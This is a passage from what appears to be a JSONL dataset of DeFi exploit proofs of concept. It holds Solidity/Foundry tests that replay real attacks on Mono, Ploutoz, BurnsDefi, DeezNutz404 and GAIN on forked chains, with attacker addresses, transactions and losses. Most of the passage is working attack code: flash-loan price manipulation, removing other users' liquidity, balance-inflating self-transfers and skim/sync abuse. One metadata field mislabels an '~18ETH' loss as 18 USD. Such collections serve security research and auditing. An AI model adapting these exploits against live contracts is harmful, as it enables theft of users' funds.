CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 13_715_025); //fork mainnet at block 13715025\n }\n\n function testExploit() public {\n mono.approve(Monoswap_address, type(uint256).max);\n\n WETH.deposit{value: address(this).balance, gas: 40_000}();\n // WETH.balanceOf(address(this));\n // VISR_Balance = visr.balanceOf(msg.sender);\n emit log_named_uint(\"WETH Balance\", WETH.balanceOf(address(this)));\n WETH.approve(Monoswap_address, 0.1 ether);\n monoswap.swapExactTokenForToken(WETH9_Address, Mono_Token_Address, 0.1 ether, 1, address(this), block.timestamp);\n emit log_named_uint(\"MonoToken Balance\", mono.balanceOf(address(this)));\n RemoveLiquidity_From_3_Users();\n // AddLiquidity For myself\n monoswap.addLiquidity(Mono_Token_Address, 196_875_656, address(this));\n\n Swap_Mono_for_Mono_55_Times();\n\n Swap_Mono_For_USDC();\n\n emit log_named_uint(\"Exploit completed, USDC Balance\", usdc.balanceOf(msg.sender));\n }\n\n function RemoveLiquidity_From_3_Users() internal {\n uint256 balance_Of_User1 = monopool.balanceOf(Innocent_user_1, 10);\n\n monoswap.removeLiquidity(Mono_Token_Address, balance_Of_User1, Innocent_user_1, 0, 1);\n\n uint256 balance_Of_User2 = monopool.balanceOf(Innocent_user_2, 10);\n\n monoswap.removeLiquidity(Mono_Token_Address, balance_Of_User2, Innocent_user_2, 0, 1);\n\n uint256 balance_Of_User3 = monopool.balanceOf(Innocent_user_3, 10);\n\n monoswap.removeLiquidity(Mono_Token_Address, balance_Of_User3, Innocent_user_3, 0, 1);\n }\n\n function Swap_Mono_for_Mono_55_Times() internal {\n for (uint256 i = 0; i < 55; i++) {\n (,,,,,, Amount_Of_MonoToken_On_XPool,,) = monoswap.pools(Mono_Token_Address);\n\n monoswap.swapExactTokenForToken(\n Mono_Token_Address,\n Mono_Token_Address,\n Amount_Of_MonoToken_On_XPool - 1,\n 0,\n address(this),\n block.timestamp\n );\n }\n }\n\n function Swap_Mono_For_USDC() internal {\n (,,,,,, Amount_Of_USDC_On_XPool,,) = monoswap.pools(USDC_Address);\n\n Amoount_Of_Mono_On_This = mono.balanceOf(address(this));\n\n monoswap.swapTokenForExactToken(\n Mono_Token_Address, USDC_Address, Amoount_Of_Mono_On_This, 4_000_000_000_000, msg.sender, block.timestamp\n );\n }\n\n receive() external payable {}\n\n function onERC1155Received(\n address _operator,\n address _from,\n uint256 _id,\n uint256 _value,\n bytes calldata _data\n ) external returns (bytes4) {\n bytes4 a = 0xf23a6e61;\n return a;\n }\n}\n", "type": "exploit_poc", "protocol": "Mono", "date": "2021-11", "file_name": "Mono_exp.sol", "attack_vector": null, "content_hash": "d6c68040e8b24aaf", "collected_at": "2026-01-07T10:59:16.514039", "_source": "postmortems", "chain": "unknown", "block_number": 13715025, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n mono.approve(Monoswap_address, type(uint256).max);\n\n WETH.deposit{value: address(this).balance, gas: 40_000}();\n // WETH.balanceOf(address(this));\n // VISR_Balance = visr.balanceOf(msg.sender);\n emit log_named_uint(\"WETH Balance\", WETH.balanceOf(address(this)));\n WETH.approve(Monoswap_address, 0.1 ether);\n monoswap.swapExactTokenForToken(WETH9_Address, Mono_Token_Address, 0.1 ether, 1, address(this), block.timestamp);\n emit log_named_uint(\"MonoToken Balance\", mono.balanceOf(address(this)));\n RemoveLiquidity_From_3_Users();\n // AddLiquidity For myself\n monoswap.addLiquidity(Mono_Token_Address, 196_875_656, address(this));\n\n Swap_Mono_for_Mono_55_Times();\n\n Swap_Mono_For_USDC();\n\n emit log_named_uint(\"Exploit completed, USDC Balance\", usdc.balanceOf(msg.sender));\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.04, "quality_estimate": "low", "title": "Mono Exploit (2021-11)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 365K\n// Attacker : https://bscscan.com/address/0x2f618493b9ff77d61426e4dbf3b844666a6b315e\n// Attack Contract : https://bscscan.com/address/0xcd8206410b55e278a9538071a69ef9e185856d24\n// Vulnerable Contract : https://bscscan.com/address/0x844fa82f1e54824655470970f7004dd90546bb28\n// Attack Tx : https://bscscan.com/tx/0x7fe46c2746855dd57e18f4d33522849ff192e4e26c74835799ba8dab89099457\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x844fa82f1e54824655470970f7004dd90546bb28#code\n\n// @Analysis\n// Post-mortem : https://x.com/peckshield/status/1463113809111896065\n// Twitter Guy :\n// Hacking God :\npragma solidity ^0.8.0;\n\ninterface ILoanToken {\n function borrow(\n bytes32 loanId,\n uint256 withdrawAmount,\n uint256 initialLoanDuration,\n uint256 collateralTokenSent,\n address collateralTokenAddress,\n address borrower,\n address receiver,\n bytes memory data\n ) external payable;\n\n function loanTokenAddress() external view returns (address);\n}\n\ncontract Ploutoz is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 12_886_415;\n\n address internal constant PancakeSwap = 0x58F876857a02D6762E0101bb5C46A8c1ED44Dc16;\n address internal constant TwindexSwapRouter = 0x6B011d0d53b0Da6ace2a3F436Fd197A4E35f47EF;\n address internal constant PancakeRouter = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\n\n address internal constant pCAKE = 0x539Ff593840387439196721cB2Ce5a94051DAEB6;\n address internal constant pDOLLY = 0xD90EFadeA37a6dB7f6EAC73cC9627Ca87aC7F705;\n address internal constant pWETH = 0xBfA0eD8a55D0d83eD92a9A96c35D59a54D238872;\n address internal constant pBTCB = 0x1EF256E054C838B0C5a544149459C7F719Ff7A8d;\n address internal constant pUSDT = 0x1a66C619943280Df31d1F466ADa5BC4fb9F19117;\n address internal constant pBUSD = 0x27b6031E9cbB9a383ACf2f7d7168Ba052ccaeCfb;\n\n address internal constant BUSD = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;\n address internal constant DOP = 0x844FA82f1E54824655470970F7004Dd90546bB28;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n fundingToken = address(BUSD);\n\n IERC20(BUSD).approve(TwindexSwapRouter, type(uint256).max);\n IERC20(DOP).approve(TwindexSwapRouter, type(uint256).max);\n IERC20(BUSD).approve(PancakeRouter, type(uint256).max);\n\n IERC20(DOP).approve(pBUSD, type(uint256).max);\n IERC20(DOP).approve(pUSDT, type(uint256).max);\n IERC20(DOP).approve(pBTCB, type(uint256).max);\n IERC20(DOP).approve(pWETH, type(uint256).max);\n IERC20(DOP).approve(pDOLLY, type(uint256).max);\n IERC20(DOP).approve(pCAKE, type(uint256).max);\n }\n\n function testExploit() public balanceLog {\n uint256 _amount0Out = 0;\n uint256 _amount1Out = 1_000_400.0 ether;\n IUniswapV2Pair(PancakeSwap).swap(_amount0Out, _amount1Out, address(this), \"X\");\n\n swapLoanedTokenToStables();\n }\n\n function swapLoanedTokenToStables() internal {\n swapLoanedTokenToStable(pCAKE);\n swapLoanedTokenToStable(pDOLLY);\n swapLoanedTokenToStable(pWETH);\n swapLoanedTokenToStable(pBTCB);\n swapLoanedTokenToStable(pUSDT);\n }\n\n function pancakeCall(address sender, uint256 amount0Out, uint256 amount1Out, bytes memory data) external {\n //Pump price of DOP in both pairs\n swapTokenToToken(BUSD, DOP, 1_000_000 ether, TwindexSwapRouter);\n swapTokenToToken(BUSD, DOP, 400 ether, PancakeRouter);\n\n //Here we borrow the assets,using few DOP which is overvalued\n borrowMultipleLoans();\n\n //Swap enough DOP to payback flashloan and keep profit\n swapTokenToToken(DOP, BUSD, 570_625_638_619_593_832_545_805, TwindexSwapRouter);\n\n //Payback flashloan\n IERC20(BUSD).transfer(PancakeSwap, 1_002_951.02 ether);\n }\n\n function borrowMultipleLoans() internal {\n // CAKE loan\n borrowSingleLoan(pCAKE, 85 ether, 50 ether);\n\n // DOLLY loan\n borrowSingleLoan(pDOLLY, 18_000 ether, 500.0 ether);\n\n // WETH loan\n borrowSingleLoan(pWETH, 18 ether, 1900 ether);\n\n // BTCB loan\n borrowSingleLoan(pBTCB, 1.6 ether, 2000 ether);\n\n // USDT loan\n borrowSingleLoan(pUSDT, 89_000 ether, 2000 ether);\n\n // BUSD loan\n borrowSingleLoan(pBUSD, 90_000 ether, 2000 ether);\n }\n\n function swapLoanedTokenToStable(\n address lToken\n ) internal {\n address assetIn = ILoanToken(lToken).loanTokenAddress();\n uint256 amountIn = TokenHelper.getTokenBalance(assetIn, address(this));\n swapTokenToToken(assetIn, BUSD, amountIn, PancakeRouter);\n }\n\n function swapTokenToToken(address tokenIn, address tokenOut, uint256 amountIn, address router) internal {\n if (amountIn == 0) return;\n IERC20(tokenIn).approve(router, type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = tokenIn;\n path[1] = tokenOut;\n Uni_Router_V2(router).swapExactTokensForTokens(amountIn, 0, path, address(this), block.timestamp);\n }\n\n function borrowSingleLoan(address token, uint256 withdrawAmount, uint256 collateralTokenSent) internal {\n ILoanToken(token).borrow(\n bytes32(0), withdrawAmount, 7200, collateralTokenSent, DOP, address(this), address(this), \"\"\n );\n }\n}\n", "type": "exploit_poc", "protocol": "Ploutoz", "date": "2021-11", "file_name": "Ploutoz_exp.sol", "attack_vector": "flash_loan", "content_hash": "cceb6324ca1dc31e", "collected_at": "2026-01-07T10:59:16.514090", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "365K", "total_lost_usd": 365000.0, "attacker_address": "https://bscscan.com/address/0x2f618493b9ff77d61426e4dbf3b844666a6b315e", "attack_contract": "https://bscscan.com/address/0xcd8206410b55e278a9538071a69ef9e185856d24", "vulnerable_contract": "https://bscscan.com/address/0x844fa82f1e54824655470970f7004dd90546bb28", "attack_tx": "https://bscscan.com/tx/0x7fe46c2746855dd57e18f4d33522849ff192e4e26c74835799ba8dab89099457", "postmortem_url": "https://x.com/peckshield/status/1463113809111896065", "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "365K", "category": "flash-loan", "exploit_code": "function testExploit() public balanceLog {\n uint256 _amount0Out = 0;\n uint256 _amount1Out = 1_000_400.0 ether;\n IUniswapV2Pair(PancakeSwap).swap(_amount0Out, _amount1Out, address(this), \"X\");\n\n swapLoanedTokenToStables();\n }", "has_exploit_code": true, "keyinfo_total_lost": "365K", "keyinfo_attacker": "https://bscscan.com/address/0x2f618493b9ff77d61426e4dbf3b844666a6b315e", "keyinfo_attack_contract": "https://bscscan.com/address/0xcd8206410b55e278a9538071a69ef9e185856d24", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x844fa82f1e54824655470970f7004dd90546bb28", "keyinfo_attack_tx": "https://bscscan.com/tx/0x7fe46c2746855dd57e18f4d33522849ff192e4e26c74835799ba8dab89099457", "analysis_postmortem": "https://x.com/peckshield/status/1463113809111896065", "analysis_twitter": "", "funds_lost_formatted": "$365.0K", "content_richness_score": 9.77, "quality_estimate": "high", "title": "Ploutoz Exploit (2021-11)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$67K\n// Attacker : https://bscscan.com/address/0xc9fbcf3eb24385491f73bbf691b13a6f8be7c339\n// Attack Contract : https://bscscan.com/address/0xb5eebf73448e22ce6a556f848360057f6aadd4e7\n// Vuln Contract : https://bscscan.com/address/0x4fb9657ac5d311dd54b37a75cfb873b127eb21fd\n// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x1d0af3a963682748493f21bf9e955ce3a950bee5817401bf2486db7a0af104b4\n\n// @Analysis\n// https://twitter.com/pennysplayer/status/1754342573815238946\n// https://medium.com/neptune-mutual/how-was-citadel-finance-exploited-a5f9acd0b408 (similar incident)\n\ninterface IBurnsBuild {\n function burnToHolder(uint256 amount, address _invitation) external;\n\n function receiveRewards(\n address to\n ) external;\n}\n\ncontract ContractTest is Test {\n IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 private constant Burns = IERC20(0x91f1d3C7ddB8d5E290e71f893baD45F16E8Bd7BA);\n IWETH private constant WBNB = IWETH(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n DVM private constant DSP = DVM(0xD5F05644EF5d0a36cA8C8B5177FfBd09eC63F92F);\n Uni_Pair_V2 private constant BUSDT_WBNB = Uni_Pair_V2(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);\n Uni_Pair_V2 private constant Burns_WBNB = Uni_Pair_V2(0x928cd66dFA268C69a37Be93BF7759dc8Ee676Bf8);\n Uni_Router_V2 private constant PancakeRouter = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n IBurnsBuild private constant BurnsBuild = IBurnsBuild(0x4fb9657Ac5d311dD54B37A75cFB873b127Eb21FD);\n\n // address private exploiter = makeAddr(\"exploiter\");\n address private constant exploiter = 0xC9FBCf3EB24385491f73BbF691b13A6f8Be7C339;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 35_858_189);\n vm.label(address(BUSDT), \"BUSDT\");\n vm.label(address(Burns), \"Burns\");\n vm.label(address(WBNB), \"WBNB\");\n vm.label(address(DSP), \"DSP\");\n vm.label(address(BUSDT_WBNB), \"BUSDT_WBNB\");\n vm.label(address(Burns_WBNB), \"Burns_WBNB\");\n vm.label(address(PancakeRouter), \"PancakeRouter\");\n vm.label(address(BurnsBuild), \"BurnsBuild\");\n vm.label(exploiter, \"Exploiter\");\n }\n\n function testExploit() public {\n deal(address(BUSDT), address(this), 0);\n deal(address(this), 0);\n emit log_named_decimal_uint(\n \"Exploiter BUSDT balance before attack\", BUSDT.balanceOf(exploiter), BUSDT.decimals()\n );\n emit log_named_decimal_uint(\n \"Exploiter Burns balance before attack\", Burns.balanceOf(exploiter), Burns.decimals()\n );\n // Borrow BUSDT\n bytes memory data = abi.encodePacked(uint8(49));\n DSP.flashLoan(250_000 * 1e18, 0, address(this), data);\n\n emit log_named_decimal_uint(\n \"Exploiter BUSDT balance after attack\", BUSDT.balanceOf(exploiter), BUSDT.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter Burns balance after attack\", Burns.balanceOf(exploiter), Burns.decimals()\n );\n }\n\n function DSPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n BUSDTToBurns(baseAmount);\n\n address[] memory path = new address[](2);\n path[0] = address(Burns);\n path[1] = address(WBNB);\n uint256 amountOut1 = 50e18;\n uint256 amountOut2 = address(Burns).balance - amountOut1;\n uint256[] memory amounts = PancakeRouter.getAmountsIn(amountOut1, path);\n\n // burnToHolder() use getAmountsOut() and Burns/WBNB pair for making calculations\n BurnsBuild.burnToHolder(amounts[0], exploiter);\n amounts = PancakeRouter.getAmountsIn(amountOut2, path);\n BurnsBuild.burnToHolder(amounts[0], exploiter);\n BurnsBuild.receiveRewards(address(this));\n WBNB.deposit{value: address(this).balance}();\n\n WBNBToBUSDT();\n BurnsToBUSDT();\n\n BUSDT.transfer(address(DSP), baseAmount);\n BUSDT.transfer(exploiter, BUSDT.balanceOf(address(this)));\n }\n\n receive() external payable {}\n\n function BUSDTToBurns(\n uint256 amount\n ) private {\n // Transfer borrowed BUSDT to BUSDT/WBNB pair and obtain WBNB to deposit to Burns/WBNB pair\n BUSDT.transfer(address(BUSDT_WBNB), amount);\n (uint112 reserveBUSDT, uint112 reserveWBNB,) = BUSDT_WBNB.getReserves();\n uint256 amountWBNB = PancakeRouter.getAmountOut(amount, reserveBUSDT, reserveWBNB);\n // Deposit WBNB to Burns/WBNB\n BUSDT_WBNB.swap(0, amountWBNB, address(Burns_WBNB), \"\");\n\n (uint112 reserveBurns, uint112 _reserveWBNB,) = Burns_WBNB.getReserves();\n uint256 amountBurns = PancakeRouter.getAmountOut(amountWBNB, _reserveWBNB, reserveBurns);\n // Swap deposited WBNB to Burns tokens\n Burns_WBNB.swap(amountBurns, 0, address(this), \"\");\n }\n\n function WBNBToBUSDT() private {\n uint256 amountWBNB = WBNB.balanceOf(address(this));\n WBNB.transfer(address(BUSDT_WBNB), amountWBNB);\n (uint112 reserveBUSDT, uint112 reserveWBNB,) = BUSDT_WBNB.getReserves();\n uint256 amountBUSDT = PancakeRouter.getAmountOut(amountWBNB, reserveWBNB, reserveBUSDT);\n BUSDT_WBNB.swap(amountBUSDT, 0, address(this), \"\");\n }\n\n function BurnsToBUSDT() private {\n Burns.transfer(address(Burns_WBNB), Burns.balanceOf(address(this)));\n (uint112 reserveBurns, uint112 reserveWBNB,) = Burns_WBNB.getReserves();\n uint256 amountWBNB =\n PancakeRouter.getAmountOut(Burns.balanceOf(address(Burns_WBNB)) - reserveBurns, reserveBurns, reserveWBNB);\n Burns_WBNB.swap(0, amountWBNB, address(BUSDT_WBNB), \"\");\n\n (uint112 reserveBUSDT, uint112 _reserveWBNB,) = BUSDT_WBNB.getReserves();\n uint256 amountBUSDT = PancakeRouter.getAmountOut(amountWBNB, _reserveWBNB, reserveBUSDT);\n BUSDT_WBNB.swap(amountBUSDT, 0, address(this), \"\");\n }\n}\n", "type": "exploit_poc", "protocol": "BurnsDefi", "date": "2024-02", "file_name": "BurnsDefi_exp.sol", "attack_vector": "flash_loan", "content_hash": "7d1658da3991804e", "collected_at": "2026-01-07T10:59:16.514147", "_source": "postmortems", "chain": "bsc", "block_number": 35858189, "total_lost_raw": "~$67K", "total_lost_usd": 67000.0, "attacker_address": "https://bscscan.com/address/0xc9fbcf3eb24385491f73bbf691b13a6f8be7c339", "attack_contract": "https://bscscan.com/address/0xb5eebf73448e22ce6a556f848360057f6aadd4e7", "vulnerable_contract": null, "attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x1d0af3a963682748493f21bf9e955ce3a950bee5817401bf2486db7a0af104b4", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "~$67K", "category": "flash-loan", "exploit_code": "function testExploit() public {\n deal(address(BUSDT), address(this), 0);\n deal(address(this), 0);\n emit log_named_decimal_uint(\n \"Exploiter BUSDT balance before attack\", BUSDT.balanceOf(exploiter), BUSDT.decimals()\n );\n emit log_named_decimal_uint(\n \"Exploiter Burns balance before attack\", Burns.balanceOf(exploiter), Burns.decimals()\n );\n // Borrow BUSDT\n bytes memory data = abi.encodePacked(uint8(49));\n DSP.flashLoan(250_000 * 1e18, 0, address(this), data);\n\n emit log_named_decimal_uint(\n \"Exploiter BUSDT balance after attack\", BUSDT.balanceOf(exploiter), BUSDT.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter Burns balance after attack\", Burns.balanceOf(exploiter), Burns.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$67K", "keyinfo_attacker": "https://bscscan.com/address/0xc9fbcf3eb24385491f73bbf691b13a6f8be7c339", "keyinfo_attack_contract": "https://bscscan.com/address/0xb5eebf73448e22ce6a556f848360057f6aadd4e7", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x1d0af3a963682748493f21bf9e955ce3a950bee5817401bf2486db7a0af104b4", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$67.0K", "content_richness_score": 9, "quality_estimate": "high", "title": "BurnsDefi Exploit (2024-02)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n// @KeyInfo - Total Lost : ~170K USD$\n// Attacker : https://etherscan.io/address/0xd215ffaf0f85fb6f93f11e49bd6175ad58af0dfd\n// Attack Contract : https://etherscan.io/address/0xd129d8c12f0e7aa51157d9e6cc3f7ece2dc84ecd\n// Vulnerable Contract : https://etherscan.io/address/0xb57e874082417b66877429481473cf9fcd8e0b8a#code\n// Attack Tx : https://etherscan.io/tx/0xbeefd8faba2aa82704afe821fd41b670319203dd9090f7af8affdf6bcfec2d61\n\n// @Analysis\n// https://twitter.com/ImmuneBytes/status/1664239580210495489\n\ncontract DeezNutzTest is Test {\n IBalancerVault vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IERC20 DeezNutz = IERC20(0xb57E874082417b66877429481473CF9FCd8e0b8a); // 404 token can be regarded as erc20\n IUniswapV2Router router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));\n address pair = 0x1fB4904b26DE8C043959201A63b4b23C414251E2; // pair address\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 19_277_802);\n emit log_named_uint(\"Before attack, WETH amount\", WETH.balanceOf(address(this)) / 1 ether);\n }\n\n function testExploit() public {\n address[] memory tokens = new address[](1);\n tokens[0] = address(WETH);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 2000 ether;\n\n emit log_string(\"------------------- flashloan from balancer ---------\");\n vault.flashLoan(address(this), tokens, amounts, \"\");\n emit log_string(\"------------------- flashloan finish ----------------\");\n\n emit log_named_uint(\"after attack, WETH amount\", WETH.balanceOf(address(this)) / 1 ether);\n }\n\n function receiveFlashLoan(address[] memory, uint256[] memory, uint256[] memory, bytes memory) external {\n emit log_named_uint(\"after borrow, WETH amount\", WETH.balanceOf(address(this)) / 1 ether);\n\n WETH.approve(address(router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(WETH);\n path[1] = address(DeezNutz);\n\n router.swapExactTokensForTokens(WETH.balanceOf(address(this)), 0, path, address(this), type(uint256).max);\n emit log_named_uint(\"after swap, DeezNutz amount\", DeezNutz.balanceOf(address(this)) / 1 ether);\n\n for (uint256 x = 0; x < 5; x++) {\n DeezNutz.transfer(address(this), DeezNutz.balanceOf(address(this)));\n emit log_named_uint(\"after self transfer, DeezNutz amount\", DeezNutz.balanceOf(address(this)) / 1 ether);\n }\n\n DeezNutz.approve(address(router), type(uint256).max);\n path[0] = address(DeezNutz);\n path[1] = address(WETH);\n\n DeezNutz.transfer(pair, DeezNutz.balanceOf(address(this)) / 20); // to pass k value test.\n router.swapExactTokensForTokens(DeezNutz.balanceOf(address(this)), 0, path, address(this), type(uint256).max);\n emit log_named_uint(\"after swap back, WETH amount\", WETH.balanceOf(address(this)) / 1 ether);\n\n WETH.transfer(msg.sender, 2001 ether);\n }\n}\n", "type": "exploit_poc", "protocol": "DeezNutz404", "date": "2024-02", "file_name": "DeezNutz404_exp.sol", "attack_vector": "flash_loan", "content_hash": "413dc656801d5056", "collected_at": "2026-01-07T10:59:16.514231", "_source": "postmortems", "chain": "ethereum", "block_number": 19277802, "total_lost_raw": "~170K USD$", "total_lost_usd": 170000.0, "attacker_address": "https://etherscan.io/address/0xd215ffaf0f85fb6f93f11e49bd6175ad58af0dfd", "attack_contract": "https://etherscan.io/address/0xd129d8c12f0e7aa51157d9e6cc3f7ece2dc84ecd", "vulnerable_contract": "https://etherscan.io/address/0xb57e874082417b66877429481473cf9fcd8e0b8a#code", "attack_tx": "https://etherscan.io/tx/0xbeefd8faba2aa82704afe821fd41b670319203dd9090f7af8affdf6bcfec2d61", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "~170K USD$", "category": "flash-loan", "exploit_code": "function testExploit() public {\n address[] memory tokens = new address[](1);\n tokens[0] = address(WETH);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 2000 ether;\n\n emit log_string(\"------------------- flashloan from balancer ---------\");\n vault.flashLoan(address(this), tokens, amounts, \"\");\n emit log_string(\"------------------- flashloan finish ----------------\");\n\n emit log_named_uint(\"after attack, WETH amount\", WETH.balanceOf(address(this)) / 1 ether);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~170K USD$", "keyinfo_attacker": "https://etherscan.io/address/0xd215ffaf0f85fb6f93f11e49bd6175ad58af0dfd", "keyinfo_attack_contract": "https://etherscan.io/address/0xd129d8c12f0e7aa51157d9e6cc3f7ece2dc84ecd", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xb57e874082417b66877429481473cf9fcd8e0b8a#code", "keyinfo_attack_tx": "https://etherscan.io/tx/0xbeefd8faba2aa82704afe821fd41b670319203dd9090f7af8affdf6bcfec2d61", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$170.0K", "content_richness_score": 8.6, "quality_estimate": "high", "title": "DeezNutz404 Exploit (2024-02)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~18ETH\n// Attacker : https://etherscan.io/address/0x0000000f95c09138dfea7d9bcf3478fc2e13dcab\n// Attack Contract : https://etherscan.io/address/0x9a4b9fd32054bfe2099f2a0db24932a4d5f38d0f\n// Attack Tx : https://etherscan.io/tx/0x7acc896b8d82874c67127ff3359d7437a15fdb4229ed83da00da1f4d8370764e\n\n// @Analysis\n \n\ncontract ContractTest is Test {\n IWETH WETH = IWETH(payable(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)));\n IERC20 GAIN = IERC20(0xdE59b88abEFA5e6C8aA6D742EeE0f887Dab136ac);\n Uni_Pair_V3 univ3USDT = Uni_Pair_V3(0xc7bBeC68d12a0d1830360F8Ec58fA599bA1b0e9b);\n Uni_Pair_V2 univ2GAIN = Uni_Pair_V2(0x31d80EA33271891986D873B397d849A92EF49255);\n address[] private addrPath = new address[](2);\n uint256 totalBorrowed = 0.1 ether;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 19_277_620 - 1);\n vm.label(address(WETH), \"WETH\");\n vm.label(address(univ3USDT), \"Uniswap V3: USDT\");\n vm.label(address(univ2GAIN), \"Uniswap V2: GAIN\");\n approveAll();\n }\n\n function testExploit() external {\n address[] memory tokens = new address[](1);\n tokens[0] = address(WETH);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = totalBorrowed;\n bytes memory userData = \"\";\n console.log(\"Before Start: %d ETH\", WETH.balanceOf(address(this)));\n univ3USDT.flash(address(this), totalBorrowed, 0, userData);\n uint256 intRes = WETH.balanceOf(address(this)) / 1 ether;\n uint256 decRes = WETH.balanceOf(address(this)) - intRes * 1e18;\n console.log(\"Attack Exploit: %s.%s ETH\", intRes, decRes);\n }\n\n function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes memory data) external {\n WETH.transfer(address(univ2GAIN), totalBorrowed);\n exploitGAIN();\n WETH.transfer(address(univ3USDT), totalBorrowed + fee0);\n }\n\n function exploitGAIN() internal {\n uint256 amount = 100_000;\n univ2GAIN.swap(0, amount, address(this), \"\");\n GAIN.transfer(address(univ2GAIN), 100);\n univ2GAIN.skim(address(this));\n univ2GAIN.sync();\n GAIN.transfer(address(univ2GAIN), 188);\n univ2GAIN.skim(address(this));\n univ2GAIN.sync();\n GAIN.transfer(address(univ2GAIN), 130_000_000_000_000);\n uint256 leave_dust = WETH.balanceOf(address(univ2GAIN)) - WETH.balanceOf(address(univ2GAIN)) / 100;\n univ2GAIN.swap(leave_dust, 0, address(this), \"\");\n }\n\n function approveAll() internal {\n WETH.approve(address(this), type(uint256).max);\n }\n}\n", "type": "exploit_poc", "protocol": "GAIN", "date": "2024-02", "file_name": "GAIN_exp.sol", "attack_vector": null, "content_hash": "c7f3853843910d81", "collected_at": "2026-01-07T10:59:16.514279", "_source": "postmortems", "chain": "ethereum", "block_number": 19277620, "total_lost_raw": "~18ETH", "total_lost_usd": 18.0, "attacker_address": "https://etherscan.io/address/0x0000000f95c09138dfea7d9bcf3478fc2e13dcab", "attack_contract": "https://etherscan.io/address/0x9a4b9fd32054bfe2099f2a0db24932a4d5f38d0f", "vulnerable_contract": null, "attack_tx": "https://etherscan.io/tx/0x7acc896b8d82874c67127ff3359d7437a15fdb4229ed83da00da1f4d8370764e", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "~18ETH", "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "~18ETH", "keyinfo_attacker": "https://etherscan.io/address/0x0000000f95c09138dfea7d9bcf3478fc2e13dcab", "keyinfo_attack_contract": "https://etherscan.io/address/0x9a4b9fd32054bfe2099f2a0db24932a4d5f38d0f", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://etherscan.io/tx/0x7acc896b8d82874c67127ff3359d7437a15fdb4229ed83da00da1f4d8370764e", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$18", "content_richness_score": 4.36, "quality_estimate": "low", "title": "GAIN Exploit (2024-02)", "has_total_lost": 